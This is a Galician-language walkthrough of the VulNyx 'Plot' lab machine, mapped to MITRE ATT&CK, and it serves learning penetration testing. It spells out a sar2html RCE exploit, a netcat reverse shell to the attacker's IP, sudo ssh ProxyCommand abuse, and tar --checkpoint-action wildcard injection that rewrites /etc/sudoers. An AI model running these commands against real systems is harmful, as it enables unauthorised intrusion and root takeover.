Ir ao contido

Plot

Máquina virtual Plot

Fig. VulNyx Plot
Fig. Card VulNyx Plot

A máquina Plot é moi interesante porque...

  • Cabeceira HTTP personalizada (X-Custom-Header) revela dominio
  • Virtual host enumeration con gobuster e wfuzz
  • Subdominio sar.pl0t.nyx con sar2html v3.2.1 vulnerable
  • RCE mediante exploit público de sar2html
  • Abuso de ssh con sudo mediante ProxyCommand (GTFOBins)
  • Uso de pspy para descubrir tarefas cron ocultas
  • Wildcard injection en comando tar con --checkpoint-action
  • Modificación de /etc/sudoers mediante tar checkpoint

Diagrama de ataque

Fig. Diagrama de ataque

Fase 1 — Recopilación

sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Plot -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Plot # 22,80
sudo nmap -sCV -p22,80 IP_VulNyx_Plot

Fase 2 — Análise

# Análise de cabeceiras HTTP
curl -I IP_VulNyx_Plot
# X-Custom-Header: pl0t.nyx

# Adición de entrada en /etc/hosts
echo "IP_VulNyx_Plot pl0t.nyx" | sudo tee -a /etc/hosts

# Análise do dominio principal
whatweb http://pl0t.nyx
firefox http://pl0t.nyx &
# Páxina por defecto de Apache

# Enumeración de subdominios con wfuzz
wfuzz -c -z file,/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top10000.txt --hc 404 -u http://IP_VulNyx_Plot -H "Host: FUZZ.pl0t.nyx" --hl 368
# Subdominios descubertos: sar, *

# Adición de subdominio en /etc/hosts
echo "IP_VulNyx_Plot sar.pl0t.nyx" | sudo tee -a /etc/hosts

# Análise do subdominio
whatweb http://sar.pl0t.nyx
firefox http://sar.pl0t.nyx &
# sar2html v3.2.1 identificado

# Busca de exploits
searchsploit sar2html
# Exploit RCE dispoñible: php/webapps/49344.py

# Descarga do exploit
searchsploit -m php/webapps/49344.py

Fase 3 — Explotación

# Execución do exploit
python 49344.py
# Enter The url => http://sar.pl0t.nyx

# Proba de execución de comandos
# Command => pwd
# /var/www/vhost

# Command => whoami
# www-data

# Preparamos listener no atacante
nc -nlvp 4444

# Lanzamento de reverse shell mediante exploit
# Command => nc IP_Atacante 4444 -e '/bin/bash'
# ⇒ Conseguimos reverse shell como www-data

# Mellora da TTY
script /dev/null -c bash
# Ctrl+Z
stty raw -echo;fg
reset
# Terminal type: xterm
export TERM=xterm
export SHELL=bash

Fase 4 — Post‑explotación

# Enumeración de usuarios do sistema
grep bash /etc/passwd
# Usuario identificado: [usuario]

# Enumeración de permisos sudo
sudo -l
# ([usuario]) NOPASSWD: /usr/bin/ssh

# Consulta en GTFOBins para ssh con sudo
# Referencia: https://gtfobins.github.io/gtfobins/ssh/#sudo

# Abuso de ssh con ProxyCommand
sudo -u [usuario] ssh -o ProxyCommand=';sh 0<&2 1>&2' x
# ⇒ Conseguimos shell como usuario [usuario]

# Mellora da TTY
script /dev/null -c bash

cd
cat user.txt # ⇒ Flag de usuario conseguida

# Enumeración exhaustiva do sistema
sudo -l
id
crontab -l
cat /etc/crontab
ls -althr /opt /var/backups
tar tvfz /var/backups/serve.tgz
find / -type f -perm -4000 2>/dev/null
find / -perm -2000 2>/dev/null
find / -group [usuario] 2>/dev/null | grep -Ev 'proc|dev|run'
find / -user [usuario] 2>/dev/null | grep -Ev 'proc|dev|run'
getcap -r / 2>/dev/null

# Subida e execución de linpeas.sh
# [Subida mediante base64]
bash linpeas.sh

# Subida e execución de pspy
# Referencia: https://github.com/DominicBreuker/pspy
# [Subida mediante base64]
./pspy64

# Análise de saída de pspy:
# 2025/10/31 11:53:01 CMD: UID=0 PID=42302 | /bin/sh -c cd /var/www/html && tar -zcf /var/backups/serve.tgz *
# ⇒ Tarefa cron que executa tar como root cada minuto

# Verificación de permisos de /var/www/html
ls -ld /var/www/html
# drwxrwxrwx 2 root root 4096 ... /var/www/html
# ⇒ Permisos 777, podemos escribir

# Análise do comando tar:
# cd /var/www/html && tar -zcf /var/backups/serve.tgz *
# Problema: uso de wildcard (*) 

# Creación de script malicioso
cd /var/www/html
cat > script.sh << 'EOF'
#!/bin/bash
echo '[usuario] ALL=(root) NOPASSWD: ALL' >> /etc/sudoers
EOF
chmod +x script.sh

# Creación de ficheiros con nomes especiais (wildcard injection)
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh script.sh"

# Esperamos a que cron execute o comando tar
# O comando tar interpretará os ficheiros como opcións:
# tar -zcf /var/backups/serve.tgz --checkpoint=1 --checkpoint-action=exec=sh script.sh *

# Verificación (despois de 1 minuto)
sudo -l
# [usuario] ALL=(root) NOPASSWD: ALL

# Escalada a root
sudo su -
# ⇒ Conseguimos shell de root

# Verificación
whoami # root
cd /root
cat root.txt # ⇒ Flag de root conseguida

Correspondencia de fases → MITRE ATT&CK — VulNyx: Plot

Fase Acción / Resumo Vector principal MITRE ATT&CK (IDs) CWE(s) (relevantes)
1. Recopilación Descubrimento de host e servizos expostos Scanning / descubrimento de servizos T1595 — Active Scanning
T1046 — Network Service Discovery
CWE-200 — Information Exposure (reconnaissance)
2. Análise Descubrimento de dominio mediante cabeceira HTTP Information disclosure T1592 — Gather Victim Host Information
T1590.002 — Gather Victim Network Information: DNS
CWE-200 — Information Exposure
Enumeración de virtual hosts con gobuster e wfuzz Subdomain enumeration T1590.002 — Gather Victim Network Information: DNS
T1595 — Active Scanning
CWE-200 — Information Exposure
Identificación de sar2html v3.2.1 vulnerable Vulnerability identification T1592 — Gather Victim Host Information
T1190 — Exploit Public-Facing Application
CWE-1035 — 2017 Top 10 A9: Using Components with Known Vulnerabilities
3. Explotación Explotación de sar2html mediante RCE Remote Code Execution T1190 — Exploit Public-Facing Application
T1059.004 — Command and Scripting Interpreter: Unix Shell
CWE-94 — Improper Control of Generation of Code
4. Post-explotación Abuso de ssh con ProxyCommand mediante sudo Lateral movement via SSH abuse T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching
T1021.004 — Remote Services: SSH
CWE-269 — Improper Privilege Management
Uso de pspy para descubrir tarefas cron ocultas Process monitoring T1053.003 — Scheduled Task/Job: Cron
T1057 — Process Discovery
CWE-200 — Information Exposure
Wildcard injection en tar con --checkpoint-action Command injection via wildcard T1574.007 — Hijack Execution Flow: Path Interception by PATH Environment Variable
T1053.003 — Scheduled Task/Job: Cron
CWE-88 — Improper Neutralization of Argument Delimiters in a Command ('Argument Injection'); CWE-78 — OS Command Injection
Modificación de /etc/sudoers mediante tar checkpoint Privilege escalation T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching
T1068 — Exploitation for Privilege Escalation
CWE-269 — Improper Privilege Management; CWE-732 — Incorrect Permission Assignment for Critical Resource